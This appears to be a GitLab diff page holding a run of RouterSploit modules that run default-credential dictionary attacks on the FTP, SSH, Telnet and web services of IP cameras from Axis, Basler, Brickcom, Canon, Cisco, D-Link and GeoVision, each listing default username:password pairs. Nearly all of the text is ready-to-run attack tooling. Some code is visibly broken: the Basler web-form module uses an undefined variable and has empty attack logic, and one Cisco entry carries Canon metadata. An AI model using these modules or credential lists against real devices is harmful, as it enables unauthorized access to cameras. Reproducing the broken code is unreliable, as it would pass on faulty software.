from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Axis Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Axis Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Axis Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("root:pass,admin:admin", "User:Pass or file with defaults credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.http_basic_digest_default import Exploit as HTTPBasicDigestDefault
class Exploit(HTTPBasicDigestDefault):
__info__ = {
"name": "Axis Camera Default Web Interface Creds - HTTP Auth",
"description": "Module performs dictionary attack against Axis Camera Web Interface. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Axis Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(80, "Target HTTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("root:pass,root:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Basler Camera Default FTP Creds",
"description": "Module performs dictionary attack against Basler Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Basler Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Basler Camera Default SSH Creds",
"description": "Module performs dictionary attack against Basler Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Basler Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Basler Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Basler Camera Telnet service. "
"If valid credentials are found, they are displayed to the user. ",
"authors": [
"Marcin Bury <marcin[at]threat9.com", # routersploit module
],
"devices": [
"Basler Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port(file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient):
__info__ = {
"name": "Basler Camera Default Web Interface Creds - HTTP Form",
"description": "Module performs dictionary attack against Basler Camera Web Interface. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Basler Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(80, "Target HTTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
stop_on_success = OptBool("false", "Stop on first valid authentication attempt")
verbosity = OptBool("true", "Display authentication attempts")
def run(self):
self.credentials = []
self.attack()
@multi
def attack(self):
if not self.check():
return
print_status("Starting default creds attack against web interface")
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Service", "Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, data):
pass
@mute
def check(self):
return False
@mute
def check_default(self):
return None
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Brickcom Camera Default FTP Creds",
"description": "Module performs dictionary attack against Brickcom Camera FTP servie. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Brickcom Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Brickcom Camera Default SSH Creds",
"description": "Module performs dictionary attack against Brickcom Camera SSH service. "
"If valid credentials are found they are displayed to the user. ",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Brickcom Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Brickcom Camera Telnet Creds",
"description": "Module performs dictionary attack against Brickcom Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"brickcom Camera",
],
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.http_basic_digest_default import Exploit as HTTPBasicDigestDefault
class Exploit(HTTPBasicDigestDefault):
__info__ = {
"name": "Brickcom Camera Default Web Interface Creds - HTTP Auth",
"description": "Module performs dictionary attack against Brickcom Camera. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Brickcom Camera",
],
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(80, "Target HTTP port")
path = OptString("/", "Target path")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Canon Camera Default FTP Creds",
"description": "Module performs dictionary attack against Canon Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Canon Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("root:camera", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Canon Camera Default SSH Creds",
"description": "Module performs dictionary attack against Canon Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Canon Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("root:camera", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Canon Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Canon Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Canon Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("root:camera", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.http_basic_digest_default import Exploit as HTTPBasicDigestDefault
class Exploit(HTTPBasicDigestDefault):
__info__ = {
"name": "Canon Camera Default Web Interface Creds - HTTP Auth",
"description": "Module performs dictionary attack against Canon Camera Web Interface. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Canon Camera"
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port(file://)")
port = OptPort(80, "Target HTTP port")
path = OptString("/admin/index.html", "Target Path")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Cisco Camera Default FTP Creds",
"description": "Module performs dictionary attack against Cisco Camera FTP service.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Cisco Camera",
]
}
target = OptIP("", "Taret IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Canon Camera Default SSH Creds",
"description": "Module performs dictionary attack against Canon Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin BUyr <marcin[at]threat9.com>",
],
"devices": [
"Canon Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Canon Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Canon Camera Telnet service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>",
],
"devices": [
"Canon Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "D-Link Camera Default FTP Creds",
"description": "Module performs dictionary attack against D-Link Camera FTP service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"D-Link Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "D-Link Camera Default SSH Creds",
"description": "Module performs dictionary attack against D-Link Camera SSH service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>",
],
"devices": [
"D-Link Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "D-Link Camera Default Telnet Creds",
"description": "Module performs dictionary attack against D-Link Camera Telnet service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"D-Link Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "GeoVision Camera Default FTP Creds",
"description": "Module performs dictioanry attack against GeoVision Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"GeoVision Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_Default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "GeoVision Camera Default SSH Creds",
"description": "Module performs dictionary attack against GeoVision Camera SSH service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"GeoVision Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
threads = OptInteger(1, "Number of threads")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "GeoVision Camera Default Telnet Creds",
"description": "Module performs dictionary attack against GeoVision Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"GeoVision Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
This source diff could not be displayed because it is too large. You can view the blob instead.
This diff is collapsed. Click to expand it.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment